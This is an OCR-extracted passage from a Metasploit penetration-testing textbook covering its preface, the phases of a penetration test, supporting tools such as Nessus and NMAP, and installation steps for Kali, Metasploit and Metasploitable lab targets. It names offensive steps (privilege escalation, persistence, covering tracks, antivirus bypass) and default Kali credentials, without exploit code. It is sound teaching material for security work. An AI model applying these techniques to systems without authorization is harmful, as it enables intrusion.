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Preface

Metasploit is a popular penetration testing framework that has one of the largest exploit
databases around. This book will show you exactly how to prepare yourself against the
attacks you will face every day by simulating real-world possibilities.

What this learning path covers

Module 1, Metasploit for Beginners, Will begin by introducing you to Metasploit and its
functionality. Next, you will learn how to set up and configure Metasploit on various
platforms to create a virtual test environment. You will also get your hands on various tools
and components used by Metasploit. Further on in the module, you will learn how to find
weaknesses in the target system and hunt for vulnerabilities using Metasploit and its
supporting tools. Next, you'll get hands-on experience carrying out client-side attacks.
Moving on, you'll learn about web application security scanning and bypassing anti-virus
and clearing traces on the target system post compromise. This module will also keep you
updated with the latest security techniques and methods that can be directly applied to
scan, test, hack, and secure networks and systems with Metasploit. By the end of this
module, you'll get the hang of bypassing different defenses, after which you'll learn how
hackers use the network to gain access into different systems.

Module 2, Mastering Metasploit (Second Edition), Metasploit is a popular penetration testing
framework that has one of the largest exploit databases around. This module will show you
exactly how to prepare yourself against the attacks you will face every day by simulating
real-world possibilities. We start by reminding you about the basic functionalities of
Metasploit and its use in the most traditional ways. You’ll get to know about the basics of
programming Metasploit modules as a refresher, and then dive into carrying out
exploitation as well building and porting exploits of various kinds in Metasploit. In the next
section, you’ll develop the ability to perform testing on various services such as SCADA,
databases, IoT, mobile, tablets, and many more services. After this training, we jump into
real-world sophisticated scenarios where performing penetration tests are a challenge. With
real-life case studies, we take you on a journey through client-side attacks using Metasploit
and various scripts built on the Metasploit framework. By the end of the module, you will
be trained specifically on time-saving techniques using Metasploit.
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Module 3, Metasploit Bootcamp, Starts with a hands-on Day 1 chapter, covering the basics of
the Metasploit framework and preparing the readers for a self-completion exercise at the
end of every chapter. The Day 2 chapter dives deep into the use of scanning and
fingerprinting services with Metasploit while helping the readers to modify existing
modules according to their needs. Following on from the previous chapter, Day 3 will focus
on exploiting various types of service and client-side exploitation while Day 4 will focus on
post-exploitation, and writing quick scripts that helps with gathering the required
information from the exploited systems. The Day 5 chapter presents the reader with the
techniques involved in scanning and exploiting various services, such as databases, mobile
devices, and VOIP. The Day 6 chapter prepares the reader to speed up and integrate
Metasploit with leading industry tools for penetration testing. Finally, Day 7 brings in
sophisticated attack vectors and challenges based on the user’s preparation over the past six
days and ends with a Metasploit challenge to solve.

What you need for this learning path

To follow and recreate the examples in this course, you will need six to seven systems. One
can be your penetration testing system--a box with Kali Linux installed--whereas others can
be the systems under test. Alternatively, you can work on a single system and set up a
virtual environment with host-only or bridged networks.

Apart from systems or virtualization, you will need the latest ISO of Kali Linux, which
already packs Metasploit by default and contains all the other tools that are required for
recreating the examples in this course.

You will also need to install Ubuntu 14.04 LTS, Windows XP, Windows 7 Home Basic,
Windows Server 2008 R2, Windows Server 2012 R1, Metasploitable 2, Metasploitable 3, and
Windows 10 either on virtual machines or live systems, as all these operating systems will
serve as the test beds for Metasploit.

Lastly, you will also need the following software: Metasploit Framework, PostgreSQL,
VMware or VirtualBox, Kali Linux, Nessus, 7-Zip, NMAP, W3af, Armitage, Adobe Acrobat
Reader. Additionally, links to all other required tools and vulnerable software are provided
in the chapters.

Who this learning path is for

This course is for penetration testers, ethical hackers, and security professionals who’d like
to master the Metasploit framework and explore approaches to carrying out advanced
penetration testing to build highly secure networks. Some familiarity with networking and
security concepts is expected, although no familiarity of Metasploit is required.

[2]
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Reader feedback

Feedback from our readers is always welcome. Let us know what you think about this
course—what you liked or disliked. Reader feedback is important for us as it helps us
develop titles that you will really get the most out of.

To send us general feedback, simply e-mail feedback@packtpub.com, and mention the
course's title in the subject of your message.

If there is a topic that you have expertise in and you are interested in either writing or
contributing to a book, see our author guide at www.packtpub.com/authors.

Customer support

Now that you are the proud owner of a Packt course, we have a number of things to help
you to get the most from your purchase.

Errata

Although we have taken every care to ensure the accuracy of our content, mistakes do
happen. If you find a mistake in one of our courses—maybe a mistake in the text or the
code—we would be grateful if you could report this to us. By doing so, you can save other
readers from frustration and help us improve subsequent versions of this course. If you find
any errata, please report them by visiting http://www.packtpub.com/submit-errata,
selecting your course, clicking on the Errata Submission Formlink, and entering the
details of your errata. Once your errata are verified, your submission will be accepted and
the errata will be uploaded to our website or added to any list of existing errata under the
Errata section of that title.

To view the previously submitted errata, go to https://www.packtpub.com/books/
content/support and enter the name of the course in the search field. The required
information will appear under the Errata section.

Piracy

Piracy of copyrighted material on the Internet is an ongoing problem across all media. At
Packt, we take the protection of our copyright and licenses very seriously. If you come
across any illegal copies of our works in any form on the Internet, please provide us with
the location address or website name immediately so that we can pursue a remedy.
Please contact us at copyright@packtpub.com with a link to the suspected pirated
material.
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We appreciate your help in protecting our authors and our ability to bring you valuable
content.

Questions

If you have a problem with any aspect of this course, you can contact us at
questions@packtpub.com, and we will do our best to address the problem.

[4]



Module 1

Metasploit for Beginners

An easy to digest practical guide to Metasploit covering all aspects of the framework from installation,
configuration, and vulnerability hunting to advanced client side attacks and anti-forensics.



Introduction to Metasploit and
Supporting Tools

Before we take a deep dive into various aspects of the Metasploit framework, let's first lay a
solid foundation of some of the absolute basics. In this chapter, we'll conceptually
understand what penetration testing is all about and where the Metasploit Framework fits
in exactly. We'll also browse through some of the additional tools that enhance the
Metasploit Framework's capabilities. In this chapter, we will cover the following topics:

e Importance of penetration testing

Differentiating between vulnerability assessment and penetration testing

Need for a penetration testing framework

A brief introduction to Metasploit

Understanding the applicability of Metasploit throughout all phases of
penetration testing

Introduction to supporting tools that help extend Metasploit's capabilities



Introduction to Metasploit and Supporting Tools Chapter 2

The importance of penetration testing

For more than over a decade or so, the use of technology has been rising exponentially.
Almost all of the businesses are partially or completely dependent on the use of technology.
From bitcoins to cloud to Internet-of-Things (IoT), new technologies are popping up each
day. While these technologies completely change the way we do things, they also bring
along threats with them. Attackers discover new and innovative ways to manipulate these
technologies for fun and profit! This is a matter of concern for thousands of organizations
and businesses around the world. Organizations worldwide are deeply concerned about
keeping their data safe. Protecting data is certainly important, however, testing whether
adequate protection mechanisms have been put to work is also equally important.
Protection mechanisms can fail, hence testing them before someone exploits them for real is
a challenging task. Having said this, vulnerability assessment and penetration testing have
gained high importance and are now trivially included in all compliance programs. With
the vulnerability assessment and penetration testing done in the right way, organizations
can ensure that they have put in place the right security controls, and they are functioning
as expected!

Vulnerability assessment versus penetration
testing

Vulnerability assessment and penetration testing are two of the most common words that
are often used interchangeably. However, it is important to understand the difference
between the two. To understand the exact difference, let's consider a real-world scenario:

A thief intends to rob a house. To proceed with his robbery plan, he decides to recon his
robbery target. He visits the house (that he intends to rob) casually and tries to gauge what
security measures are in place. He notices that there is a window at the backside of the
house that is often open, and it's easy to break in. In our terms, the thief just performed a
vulnerability assessment. Now, after a few days, the thief actually went to the house again
and entered the house through the backside window that he had discovered earlier during
his recon phase. In this case, the thief performed an actual penetration into his target house
with the intent of robbery.

[7]



Introduction to Metasploit and Supporting Tools Chapter 2

This is exactly what we can relate to in the case of computing systems and networks. One
can first perform a vulnerability assessment of the target in order to assess overall
weaknesses in the system and then later perform a planned penetration test to practically
check whether the target is vulnerable or not. Without performing a vulnerability
assessment, it will not be possible to plan and execute the actual penetration.

While most vulnerability assessments are non-invasive in nature, the penetration test could
cause damage to the target if not done in a controlled manner. Depending on the specific
compliance needs, some organizations choose to perform only a vulnerability assessment,
while others go ahead and perform a penetration test as well.

The need for a penetration testing
framework

Penetration testing is not just about running a set of a few automated tools against your
target. It's a complete process that involves multiple stages, and each stage is equally
important for the success of the project. Now, for performing all tasks throughout all stages
of penetration testing, we would need to use various different tools and might need to
perform some tasks manually. Then, at the end, we would need to combine results from so
many different tools together in order to produce a single meaningful report. This is
certainly a daunting task. It would have been really easy and time-saving if one single tool
could have helped us perform all the required tasks for penetration testing. This exact need
is satisfied by a framework such as Metasploit.

Introduction to Metasploit

The birth of Metasploit dates back to 14 years ago, when H.D Moore, in 2003, wrote a
portable network tool using Perl. By 2007, it was rewritten in Ruby. The Metasploit project
received a major commercial boost when Rapid7 acquired the project in 2009. Metasploit is
essentially a robust and versatile penetration testing framework. It can literally perform all
tasks that are involved in a penetration testing life cycle. With the use of Metasploit, you
don't really need to reinvent the wheel! You just need to focus on the core objectives; the
supporting actions would all be performed through various components and modules of
the framework. Also, since it's a complete framework and not just an application, it can be
customized and extended as per our requirements.

[8]



Introduction to Metasploit and Supporting Tools Chapter 2

Metasploit is, no doubt, a very powerful tool for penetration testing. However, it's certainly
not a magic wand that can help you hack into any given target system. It's important to
understand the capabilities of Metasploit so that it can be leveraged optimally during
penetration testing.

While the initial Metasploit project was open source, after the acquisition by Rapid7,
commercial grade versions of Metasploit also came into existence. For the scope of this
book, we'll be using the Metasploit Framework edition.

Did you know? The Metasploit Framework has more than 3000 different
modules available for exploiting various applications, products, and
platforms, and this number is growing on a regular basis.

When to use Metasploit?

There are literally tons of tools available for performing various tasks related to penetration
testing. However, most of the tools serve only one unique purpose. Unlike these tools,
Metasploit is the one that can perform multiple tasks throughout the penetration testing life
cycle. Before we check the exact use of Metasploit in penetration testing, let's have a brief
overview of various phases of penetration testing. The following diagram shows the typical
phases of the penetration testing life cycle:

Penetration Testing Phases

Maintaining Access
Covering Tracks

Phases of penetration testing life cycle
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1. Information Gathering: Though the Information Gathering phase may look very
trivial, it is one of the most important phases for the success of a penetration
testing project. The more you know about your target, the more the chances are
that you find the right vulnerabilities and exploits to work for you. Hence, it's
worth investing substantial time and efforts in gathering as much information as
possible about the target under the scope. Information gathering can be of two
types, as follows:

e Passive information gathering: Passive information gathering involves
collecting information about the target through publicly available
sources such as social media and search engines. No direct contact with
the target is made.

¢ Active information gathering: Active information gathering involves
the use of specialized tools such as port scanners to gain information
about the target system. It involves making direct contact with the
target system, hence there could be a possibility of the information
gathering attempt getting noticed by the firewall, IDS, or IPS in the
target network.

2. Enumeration: Using active and/or passive information gathering techniques, one
can have a preliminary overview of the target system/network. Moving further,
enumeration allows us to know what the exact services running on the target
system (including types and versions) are and other information such as users,
shares, and DNS entries. Enumeration prepares a clearer blueprint of the target
we are trying to penetrate.

3. Gaining Access: Based on the target blueprint that we obtained from the
information gathering and enumeration phase, it's now time to exploit the
vulnerabilities in the target system and gain access. Gaining access to this target
system involves exploiting one or many of the vulnerabilities found during
earlier stages and possibly bypassing the security controls deployed in the target
system (such as antivirus, firewall, IDS, and IPS).

4. Privilege Escalation: Quite often, exploiting a vulnerability on the target gives
limited access to the system. However, we would want complete
root/administrator level access into the target in order to gain most out of our
exercise. This can be achieved using various techniques to escalate privileges of
the existing user. Once successful, we can have full control over the system with
highest privileges and can possibly infiltrate deeper into the target.

[10]
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5. Maintaining Access: So far, it has taken a lot of effort to gain a root/administrator

level access into our target system. Now, what if the administrator of the target
system restarts the system? All our hard work will be in vain. In order to avoid
this, we need to make a provision for persistent access into the target system so
that any restarts of the target system won't affect our access.

. Covering Tracks: While we have really worked hard to exploit vulnerabilities,

escalate privileges, and make our access persistent, it's quite possible that our
activities could have triggered an alarm on the security systems of the target
system. The incident response team may already be in action, tracing all the
evidence that may lead back to us. Based on the agreed penetration testing
contract terms, we need to clear all the tools, exploits, and backdoors that we
uploaded on the target during the compromise.

Interestingly enough, Metasploit literally helps us in all penetration testing stages listed
previously.

The following table lists various Metasploit components and modules that can be used
across all stages of penetration testing:

Sr. Penetration testing Use of Metasploit

No. |phase

1 Information Gathering |Auxiliary modules: portscan/syn, portscan/tcp,
smb_version, db_nmap, scanner/ftp/ftp_version, and
gather/shodan_search

2 Enumeration smb/smb_enumshares, smb/smb_enumusers, and
smb/smb_login

3 Gaining Access All Metasploit exploits and payloads

4 Privilege Escalation meterpreter—use privandmeterpreter—getsystem

5 Maintaining Access meterpreter - run persistence

6 Covering Tracks Metasploit Anti-Forensics Project

We'll gradually cover all previous components and modules as we progress through the

book.
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Making Metasploit effective and powerful
using supplementary tools

So far we have seen that Metasploit is really a powerful framework for penetration testing.
However, it can be made even more useful if integrated with some other tools. This section
covers a few tools that compliment Metasploit's capability to perform more precise
penetration on the target system.

Nessus

Nessus is a product from Tenable Network Security and is one of the most popular
vulnerability assessment tools. It belongs to the vulnerability scanner category. It is quite
easy to use, and it quickly finds out infrastructure-level vulnerabilities in the target system.
Once Nessus tells us what vulnerabilities exist on the target system, we can then feed those
vulnerabilities to Metasploit to see whether they can be exploited for real.

Its official website is https://www.tenable.com/. The following image shows the Nessus
homepage:

Nessus Home / Scans - Mozilla Firefox o0

) Nessus Home / Scans  x | #

b+
iig
a
@
»
Il

€ ) @ & | https://127.0.0.1:8834/3#/scans/new @ || Search

{5 Most Visited v [l Offensive Security '\ Kali Linux S Kali Docs "% Kali Tools # Exploit-DB Wy Aircrack-ng
& INessU

Scan Library

All Templates  Scanner

T, .% go M

Advanced Scan Audit Cloud Infrastructure Badlock Detection Bash Shellshock Detection Basic Network Scan

R = =y O

Credentialed Patch Audit DROWN Detection Host Discovery Internal PCI Network Scan Malware Scan

A YNIEAYNE A YA YA

MDM Config Audit Mobile Device Scan Offline Config Audit PCI Quarterly External Scan Policy Compliance Auditing

Nessus web interface for initiating vulnerability assessments
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The following are the different OS-based installation steps for Nessus:

e Installation on Windows:

1.

N oUW

8.

Navigate to the URL https://www.tenable.com/products/nessus/
select-your-operating-system.

Under the Microsoft Windows category, select the appropriate version
(32-bit/64-bit).

Download and install the msi file.

Open a browser and navigate to the URL https://localhost:8834/.
Set a new username and password to access the Nessus console.

For registration, click on the registering this scanner option.

Upon Visiting http://www.tenable.com/products/nessus/nessus—
plugins/obtain-an-activation-code, select Nessus Home and enter
your details for registration.

Enter the registration code that you receive on your email.

¢ Installation on Linux (Debian-based):

1.

2.

®

Navigate to the URL https://www.tenable.com/products/nessus/
select-your-operating-system.

Under the Linux category, Debian 6,7,8 / Kali Linux 1, select the
appropriate version (32-bit/ AMD64).
Download the file.

4. Open a terminal and browse to the folder where you downloaded the

o ® N U

10.

installer (. deb) file.

Type the command dpkg -i <name_of_installer>.deb.

Open a browser and navigate to the URL https://localhost:8834/.
Set a new username and password to access the Nessus console.

For registration, click on the registering this scanner option.

Upon visiting http://www.tenable.com/products/nessus/nessus-
plugins/obtain-an-activation-code, select Nessus Home and enter
your details for registration.

Enter the registration code that you receive on your email.

[13]
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NMAP

NMAP (abbreviation for Network Mapper) is a de-facto tool for network information
gathering. It belongs to the information gathering and enumeration category. At a glance, it
may appear to be quite a small and simple tool. However, it is so comprehensive that a
complete book could be dedicated on how to tune and configure NMAP as per our
requirements. NMAP can give us a quick overview of what all ports are open and what
services are running in our target network. This feed can be given to Metasploit for further
action. While a detailed discussion on NMAP is out of the scope for this book, we'll
certainly cover all the important aspects of NMAP in the later chapters.

Its official website is https://nmap.org/. The following screenshot shows a sample NMAP
scan:

root@Kkali: ~ e ® 0

File Edit View Search Terminal Help
:~# nmap -sT 127.0.0.1

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-03-12 23:43 EDT
Nmap scan report for localhost (127.0.0.1)

Host is up (0.00016s latency).

Not shown: 998 closed ports

PORT  STATE SERVICE

22/tcp open ssh

80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds
~# ]

A sample NMAP scan using command-line interface
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While the most common way of accessing NMAP is through the command line, NMAP also
has a graphical interface known as Zenmap, which is a simplified interface on the NMAP
engine, as follows:

Zenmap e ® 0
Scan Tools Profile Help

Target:‘ v | Profile: |Intense scan v | |Scan|

Command: ‘nmap -T4-A-v

Hosts | Services | | Nmap Output | Ports / Hosts Topology Host Details Scans

0S  Host v

Filter Hosts

Zenmap graphical user interface (GUI) for NMAP
The following are the different OS-based installation steps for NMAP:

e Installation on Windows:
1. Navigate to site https://nmap.org/download.html.

2. Under the Microsoft Windows Binaries section, select the latest
version (. exe) file.

3. Install the downloaded file along with WinPCAP (if not already
installed).

WinPCAP is a program that is required in order to run tools such
as NMAP, Nessus, and Wireshark. It contains a set of libraries
that allow other applications to capture and transmit network
packets.
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e Installation on Linux (Debian-based): NMAP is by default installed in Kali
Linux; however, if not installed, you can use the following command to install it:

root@kali:~#apt—-get install nmap

w3af

w3af is an open-source web application security scanning tool. It belongs to the web
application security scanner category. It can quickly scan the target web application for
common web application vulnerabilities, including the OWASP Top 10. w3af can also be

effectively integrated with Metasploit to make it even more powerful.

Its official website is http://w3af.org/. We can see the w3af console for scanning web

application vulnerabilities in the following image:

w3af - Web Application Attack and Audit Framework

Profiles Edit Tools Configuration Help
A ] s 0 @
Scan config Exploit

Profiles Target: ‘http [itarget.example/

empty_profile Active Plugin

OWASP_TOP10

g audit
audit_high_risk 3 auth
bruteforce 3 bruteforce
fast_scan ] crawl
full_audit 3 evasion
full_audit_spider_-man » grep
sitemap 3 infrastructure
web_infrastructure v mangle
This is an empty profile that you can use
to start a new configuration from.
Active Plugin
» Bl output

@0 A0 =0

w3af console for scanning web application vulnerabilities
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The following are the various OS-based installation steps for w3af:

e Installation on Windows: w3af is not available for the Windows platform

e Installation on Linux (Debian-based): w3af is by default installed on Kali Linux;
however, if not installed, you can use the following command to install it:

root@kali:~# apt-get install w3af

Armitage

Armitage is an exploit automation framework that uses Metasploit at the backend. It
belongs to the exploit automation category. It offers an easy-to-use user interface for finding
hosts in the network, scanning, enumeration, finding vulnerabilities, and exploiting them
using Metasploit exploits and payloads. We'll have a detailed overview of Armitage later in
this book.

Its official website is http://www.fastandeasyhacking.com/index.html. We can see the
Armitage console for exploit automation in the following screenshot:

Armitage e 0
Armitage View Hosts Attacks Workspaces Help
» ([ auxiliary
> [ exploit
» (& payload
- @ post

=

10.11.1.227

Console X

Armitage console for exploit automation.
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The following are the various OS-based installation steps for Armitage:

e Installation on Windows: Armitage is not supported on Windows

e Installation on Linux (Debian-based): Armitage is by default installed on Kali
Linux; however, if not installed, you can use the following command to install it:

root@kali:~# apt—-get install armitage

PostgreSQL, Metasploit, and Java are required to set up and run Armitage.
However, these are already installed on the Kali Linux system.

Summary

Now that we have got a high-level overview of what Metasploit is all about, its applicability
in penetration testing, and supporting tools, we'll browse through the installation and
environment setup for Metasploit in the next chapter.

Exercises

You can try the following exercises:

» Visit Metasploit's official website and try to learn about the differences in various
editions of Metasploit

e Try to explore more on how Nessus and NMAP can help us during a penetration
test.
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Setting up Your Environment

In the preceding chapter, you got familiarized with vulnerability assessments, penetration
testing, and the Metasploit Framework in brief. Now, let's get practically started with
Metasploit by learning how to install and set up the framework on various platforms along
with setting up a dedicated virtual test environment. In this chapter, you will learn about
the following topics:

¢ Using the Kali Linux virtual machine to instantly get started with Metasploit and
supporting tools

¢ Installing the Metasploit Framework on Windows and Linux platforms

e Setting up exploitable targets in a virtual environment

Using the Kali Linux virtual machine - the
easiest way

Metasploit is a standalone application distributed by Rapid?. It can be individually
downloaded and installed on various operating system platforms such as Windows and
Linux. However, at times, Metasploit requires quite a lot of supporting tools and utilities as
well. It can be a bit exhausting to install the Metasploit Framework and all supporting tools
individually on any given platform. To ease the process of setting up the Metasploit
Framework along with the required tools, it is recommended to get a ready-to-use Kali
Linux virtual machine.
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Using this virtual machine will give the following benefits:

¢ Plug and play Kali Linux--no installation required
e Metasploit comes pre-installed with the Kali VM

e All the supporting tools (discussed in this book) also come pre-installed with the
Kali VM

e Save time and effort in setting up Metasploit and other supporting tools
individually

In order to use the Kali Linux virtual machine, you will first need to have
either VirtualBox, VMPlayer, or VMware Workstation installed on your
system.

The following are the steps for getting started with Kali Linux VM:

1. Download the Kali Linux virtual machine from nttps://www.offensive-

security.com/kali-linux-vmware-virtualbox—image—-download/.

2. Select and download Kali Linux 64 bit VM or Kali Linux 32 bit VM PAE based
on the type of your base operating system, as follows:

Kali Linux VMware Images Kali Linux VirtualBox Images Kali Linux Hyper-V Images
Image Name Torrent Size Version SHA1Sum
Kali Linux 64 bit VM Torrent 2.2G | 2016.2 FD91182F6ABCBA7D3EFA4DEOB58F4DB42DEF49A4
Kali Linux 32 bit VM PAE Torrent .26 | 2016.2 84D53E456F66D6DE4A759F759AB8004609CC127AD
Kali Linux Light 64 bit VM Torrent 0.7G | 2016.2 2FA5378FACE25A31CACBF0511E9137506B1FB5ED
Kali Linux Light 32 bit VM Torrent 0.7G | 2016.2 1951C180968C76B557C11D21893419B6BBBCB26E
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3. Once the VM is downloaded, extract it from the Zip file to any location of your
choice.

4. Double click on the VMware virtual machine configuration file to open the
virtual machine and then play the virtual machine. The following credentials can
be used to log into the virtual machine:

Username - root
Password - toor

5. To start the Metasploit Framework, open the terminal and type msfconsole, as
follows:

root@kali: ~ e ® O
File Edit View Search Terminal Help

R
#iHHE i

i R
Hi HHHHHHHHEHEHE
A
2w # i
HERH R

## o HE ##

http://metasploit.com

Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[ me t v4.
--=[ 1577 exploits -

]
- 907 auxiliary - 272 post 1
- --=[ 455 payloads - 39 encoders - 8 nops ]

--=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

mst > |
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Installing Metasploit on Windows

Metasploit Framework can be easily installed on a Windows based operating system.
However, Windows is usually not the platform of choice for deploying Metasploit
Framework, the reason being, that many of the supporting tools and utilities are not
available for Windows platform. Hence it's strongly recommended to install the Metasploit
Framework on Linux platform.

The following are the steps for Metasploit Framework installation on Windows:

1. Download the latest Metasploit Windows installer from: https://github.com/
rapid7/metasploit-framework/wiki/Downloads—-by-Version.

2. Double click and open the downloaded installer.
3. Click Next, as seen in the following screenshot:

‘_ﬁ‘ Metasploit-framework v4.14.6 Setup L=l =]

Welcome to the Metasploit-framework
v4.14.6 Setup Wizard

The Setup Wizard will install Metasploit-framework v4. 14.6
on your computer, Click Mext to continue or Cancel to exit
the Setup Wizard,

X ~
S
Q
")
£
Q
=

framework

Back [ Next_] [ Cancel
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4. Accept the license agreement:

5 Metasploit-framework v4.14.6 Se‘tup‘ =

End-User License Agreement

I ._®
Flease read the following license agreement carefully metasp Olt

framework

Copyright (C) 2006-2015, Rapid7?, Inc.
.11 rights reserved. H

Redistribution and use in source and binary forms, with
or without modification, are permitted provided that
the following conditions are met:

* Redistributions of source code must retain the
above copyright notiece this list of conditions
and the following disclaimer.

* Redistributions in binary form must reproduce the S

pint | [ Back J[ mext | [ cancel

5. Select the location where you wish to install the Metasploit Framework:

12 Metasploit-framework v4.14.6 Setup‘ E=nrE
metasploit

framework

Click the icons in the tree below to change the way features will be installed.

Metasploit-framework

This feature requires 828MB on
your hard drive.

Resst || Dskssge || ek [ mext [ Cancel |
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6. Click on Install to proceed further:

4] Metasploit-framework v4.14.6 Setu_ ==
o
Ready to install Metasploit-framework v4.14.6 metasplort

framework

Click Install to begin the installation. Click Back to review ar change any of your
installation settings. Click Cancel to exit the wizard.

T

The Metasploit installer progresses by copying the required files to the
destination folder:

4] Metasploit-framework v4.14.6 Se'tu- ==
-
Installing Metasploit-framework v4.14.6 metasplo‘t

framework

Please wait while the Setup Wizard installs Metasploit-framework v4. 14.6.

| Status: Copying new files

i Back !! Next _I [ Cancel ]
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7. Click on Finish to complete the Metasploit Framework installation:

ﬁ Metasploit-framework v4.14.6 Sehq-

==

®

ploit

v4.14.6 Setup Wizard

%)
H
)
=

=¢
@)
<
Q
=
®
o

Completed the Metasploit-framework

Click the Finish button to exit the Setup Wizard.

[ Back |[ Finish

] | Cancel

Now that the installation is complete, lets try to access the Metasploit Framework through

the command line interface:

1. Press the Windows Key + R.
2. Type cmd and press Enter.

3. Using cd, navigate to the folder/path where you installed the Metasploit

Framework.
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4. Type msfconsole and hit Enter; you should be able to see the following:

.| Cﬁ_WiﬂdDWS\S}'StEm32'\:C_r_ﬂd.EKE - msfconsole |E

D:~Metasploit>msfconsole

http: s metasploit.comn

=L
=[ 1636 exploits — 235 auxiliary — 28% post

1
1
1
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Installing Metasploit on Linux

For the scope of this book, we will be installing the Metasploit Framework on Ubuntu
(Debian based) system. Before we begin the installation, we first need to download the
latest installer. This can be done using wget command as follows:

1. Open a terminal window and type:

wget
http://downloads.metasploit.com/data/releases/metasploit—latest—-1lin

ux-installer.run

@ ® F sagar@ubuntu: ~

iagar@ubuntu:~$ wget http://downloads.metasploit.com/data/releases/metasploit-1
itest-1linux-installer.run

--2017-03-30 20:19:47-- http://downloads.metasploit.comf/data/releases/metasploi
:-latest-1linux-installer.run

lesolving downloads.metasploit.com (downloads.metasploit.com)... 23.48.60.21
‘onnecting to downloads.metasploit.com (downloads.metasploit.com)|23.48.60.21|:8
)... connected.

ITTP request sent, awailting response... 200 OK

.ength: 153356821 (146M) [text/plain]

javing to: “metasploit-latest-linux-installer.run’

metasploit 94%[ ] 138.83M 475KB[s eta 13s
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2. Once the installer has been downloaded, we need to change the mode of the
installer to be executable. This can be done as follows:

o For 64-bit systems: chmod +x /path/to/metasploit-latest-
linux-x64-installer.run

e For 32-bit systems: chmod +x /path/to/metasploit-latest-
linux-installer.run

3. Now we are ready to launch the installer using the following command:

e For 64-bit systems: sudo /path/to/metasploit-latest-linux-
x64-installer.run

o For 32-bit systems: sudo /path/to/metasploit-latest-linux-
installer.run

4. We can see the following installer:

Setup - Metasploik

Welcome to the Metasploit Setup Wizard.

M metasploit®

Forward Cancel
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5. Accept the license agreement:

License Agreement @

Please read the following License Agreement. You must accept the
terms of this agreement before continuing with the installation.
Rapid7 End User License and Services Terms and Conditions

Customer agrees to be bound by the following terms and conditions (this
"Agreement"”) in connection with its purchase and use of certain Rapid7
LLC's ("Rapid7") Software and Services (each as defined below). Before
installing and using any Software and/for obtaining and using any Services
you should read this Agreement carefully. Clicking "accept” or otherwise
installing and/or using the Software and/or obtaining and/or using any
Services establishes a binding agreement between Rapid7 and you as the
nerson licensina the Software and/or ohtainina the Services: nrovided that if '™

o @ |l accept the agreement
Do you accept this license? —

() 1do not accept the agreement

InstallBuilder

Back Forward Cancel

6. Choose the installation directory (It's recommended to leave this as-is for default
installation):

Installation Folder @

Please, choose a folder to install Metasploit

Select a Folder [

InstallBuilder

Back Forward Cancel
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7. Select Yes to install Metasploit Framework as a service:

Install as a service @

You can optionally register Metasploit as a service. This way it will
automatically be started every time the machine is started.

Install Metasploit as a service?

@® Yes
) No

InstallBuilder

Back | Forward | Cancel

8. Ensure you disable any Antivirus or Firewall that might be already running on
your system. Security products such as Antivirus and Firewall may block many
of the Metasploit modules and exploits from functioning correctly:

e
W

Disable Anti-Virus and Firewall

*** Disable Anti-Virus! ***

This product is not compatible with cornmon anti-virus solutions.
Before continuing, please disable any installed anti-virus software
or add an exclusion For the Metasploit installation directory. Failure
to do so can lead to a corruptinstallation and the malfunctioning of
certain exploit modules.

*** Disable Firewall! ***

This product is not compatible with common firewall applications.
Although itis possible to use Metasploit with a firewallin place, a
firewall willinterfere with the Function of certain exploits and
payloads. Please ensure that your firewallis disabled prior to using
this product for a penetration test.

InstallBuilder

Back Forward Cancel
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9. Enter the port number on which the Metasploit service will run. (It's
recommended to leave this as-is for default installation):

Metasploit Service @

Please enter the port that the Metasploit service will use.

ssL Port [EEER

InstallBuilder

Back Forward Cancel

10. Enter the host-name on which Metasploit Framework will run. (It's
recommended to leave this as-is for default installation):

Generate an SSL Certificate @

Please provide the fully qualified domain name of this system below
(e.g. metasploit.example.com). A certificate is generated fFor a specific
server name and web browsers will alert users if the name does not
match.

Server Name [mm

Days of validity | 3650

Should the generated certificate be added to the operating system'’s
trusted store?

Yes, trust certificate
IgtallBuﬁcer

Back Forward Cancel
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11. Click on Forward to proceed with the installation:

Ready ko Install [m

Setup is now ready to begin installing Metasploit on your computer.

Back Forward Cancel

» Conduct penetration tests through an easy-to-use interface

» Demonstrate true nsk management and IT operations

- Eliminate false positives from third-party vulnerability scanners
» Upgrade to Metasploit Pro for advanced enterprise features

Installing
Unpacking files
| 4%

Cancel
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12. Now that the Metasploit Framework installation is complete:

Completing the Metasploit Setup
Wizard

Setup has Finished installing Metasploit on
your computer.

M metasploit®
& Access Metasploit Web UI?

Finish

Let's try to access it through command-line interface:

1. Open the terminal window, type the command msfconsole and hit Enter. You
should get the following on your screen:

- sagar@ubuntu: ~
sagar@ubuntu:~5 msfconsole

Warning, fopt/metasploit/apps/profuifconfig/database.yml is not readable. Tr
y running as root or chmod.

No database definition for environment

=[ me v ]
+ -- --=[ 1573 exploi 6 auxiliary - 270 post 1
+ -- --=[ 455 payloads - 39 encoders - 8 nops 1
=[ 1

Iy 5 ea

Free Metasploit Pro trial: http://r-7.co/trymsp

ms
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Setting up exploitable targets in a virtual
environment

Metasploit is a powerful penetration testing framework which, if not used in a controlled
manner, can cause potential damage to the target system. For the sake of learning and
practicing Metasploit, we can certainly not use it on any live production system for which
we don't have any authorized permission. However, we can practice our newly acquired
Metasploit skills in our own virtual environment which has been deliberately made
vulnerable. This can be achieved through a Linux based system called Metasploitable which
has many different trivial vulnerabilities ranging from OS level to Application level.
Metasploitable is a ready-to-use virtual machine which can be downloaded from the

fOllOWing location: https://sourceforge.net/projects/metasploitable/files/
Metasploitable2/

Once downloaded, in order to run the virtual machine, you need to have VMPlayer or
VMware Workstation installed on your system. The installation steps along with
screenshots are given below:

VMPlayer can be obtained from https://www.vmware.com/go/
downloadplayer if not already installed

1. In order to run the Metasploitable virtual machine, first let's extract it from the
zip file to any location of our choice:
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I & = | Metasploitable2-Linux

Home Share

« M
A
7 Quick access
[ Desktop
3 Downloads
| Documents
&=| Pictures
Images
Maovies
Packt Metasploil
o

£ Dropbox
f@ OneDrive

[ This PC
[ Desktop

5 items

View

MName

|1 Metasploitable
% Metasploitable
|1 Metasploitable
@ Metasploitable
|1 Metasploitable

» ThisPC » Windows (C:) » Metasploitable2 » Metasploitable2-Linux

Date modified

- O
v B Search Metasploitable2-Linux
Size

Type

VMware Virtual Machine nonvolatile RAM

ware virtual disk file

re snapshot metadata 1 KB
ware virtual machine configuration 3KB
VMware Team Member 1 KB

*

o

2]

'

2. Double click on the Metasploitable VMware virtual machine configuration file
to open the virtual machine. This would require prior installation of either
